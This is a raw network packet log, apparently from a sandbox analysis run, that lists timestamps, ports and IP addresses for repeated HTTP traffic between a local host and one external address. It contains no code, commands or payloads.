Sep 29, 2024 09:44:14.502221107 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502264023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502264977 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.502310991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502356052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502367973 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.502404928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502449989 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502470016 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.502495050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502541065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502552986 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.502587080 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502630949 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.502631903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502676964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502722979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502741098 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.502768993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502813101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502840996 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.502859116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502904892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502907038 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.502950907 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.502995014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.503005981 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.503041029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.503086090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.503098965 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.503132105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.503180027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.503190041 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.551475048 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.572037935 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.572118044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.572228909 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.572238922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.572289944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.572329044 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.572335005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.572381973 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.572423935 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.572427988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.572475910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.572523117 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.584925890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585045099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585098028 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.585109949 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585172892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585222006 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.585235119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585283041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585325956 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.585361004 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585407972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585448980 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.585469007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585532904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585573912 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.585580111 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585642099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585685968 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.585689068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585736036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585777044 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.585796118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585844040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585886002 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.585890055 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585949898 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.585995913 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.585997105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586060047 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586102962 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586107016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586148977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586189032 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586193085 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586256981 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586297989 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586299896 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586359978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586402893 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586405993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586452007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586493969 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586512089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586558104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586596012 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586604118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586667061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586710930 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586714029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586761951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586802959 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586812019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586858988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586899042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586903095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586947918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.586987019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.586993933 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587054968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587100029 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.587102890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587146997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587192059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587193012 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.587238073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587279081 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.587282896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587323904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587363005 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.587368965 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587456942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587498903 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.587502003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587563992 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587608099 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.587624073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587670088 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587716103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587719917 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.587764025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587820053 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.587821960 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587868929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587908983 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.587913036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.587960958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588002920 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588005066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588052034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588093042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588094950 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588140011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588182926 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588184118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588228941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588274002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588284969 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588320017 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588365078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588366985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588412046 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588453054 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588455915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588500977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588541985 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588546991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588592052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588630915 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588637114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588682890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588726997 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588728905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588769913 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588807106 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588810921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588856936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588897943 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588900089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588946104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.588988066 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.588990927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589036942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589076996 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589082003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589126110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589168072 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589169979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589219093 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589260101 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589263916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589313030 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589354038 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589356899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589404106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589445114 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589448929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589494944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589534044 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589540005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589586020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589626074 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589629889 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589675903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589716911 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589720964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589766979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589802027 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589806080 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589849949 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589890957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589895964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589941025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.589982033 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.589987040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590033054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590076923 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.590079069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590123892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590162992 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.590167999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590218067 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590260983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590261936 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.590306044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590347052 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.590351105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590398073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.590440035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.590441942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.645226002 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.658899069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.659080982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.659122944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.659147978 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.659169912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.659219980 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.659229994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.659291983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.659337044 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.659337997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.659405947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.659457922 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.671794891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.671930075 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.671971083 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.671983957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672033072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672072887 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672096968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672158003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672200918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672204971 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672249079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672291040 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672297001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672362089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672405958 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672408104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672454119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672496080 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672498941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672544956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672585964 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672589064 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672666073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672710896 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672713041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672759056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672801971 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672820091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672882080 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672924042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.672928095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.672974110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673016071 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673034906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673082113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673124075 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673126936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673167944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673207998 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673228025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673274040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673316002 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673319101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673367023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673408985 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673410892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673455954 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673500061 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673501968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673547983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673588037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673593998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673657894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673700094 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673718929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673765898 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673805952 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673809052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673854113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673896074 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673898935 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673945904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.673986912 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.673990011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674036026 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674077988 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674094915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674139977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674179077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674180984 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674227953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674268007 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674289942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674335957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674377918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674381971 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674428940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674472094 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674474001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674520016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674565077 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674565077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674611092 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674652100 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674655914 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674705982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674748898 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674751043 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674796104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674839973 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674841881 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674886942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674927950 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.674930096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.674972057 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675015926 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675018072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675062895 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675100088 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675108910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675154924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675198078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675198078 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675245047 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675285101 CEST	80	49706	147.45.47.81	192.168.2.5
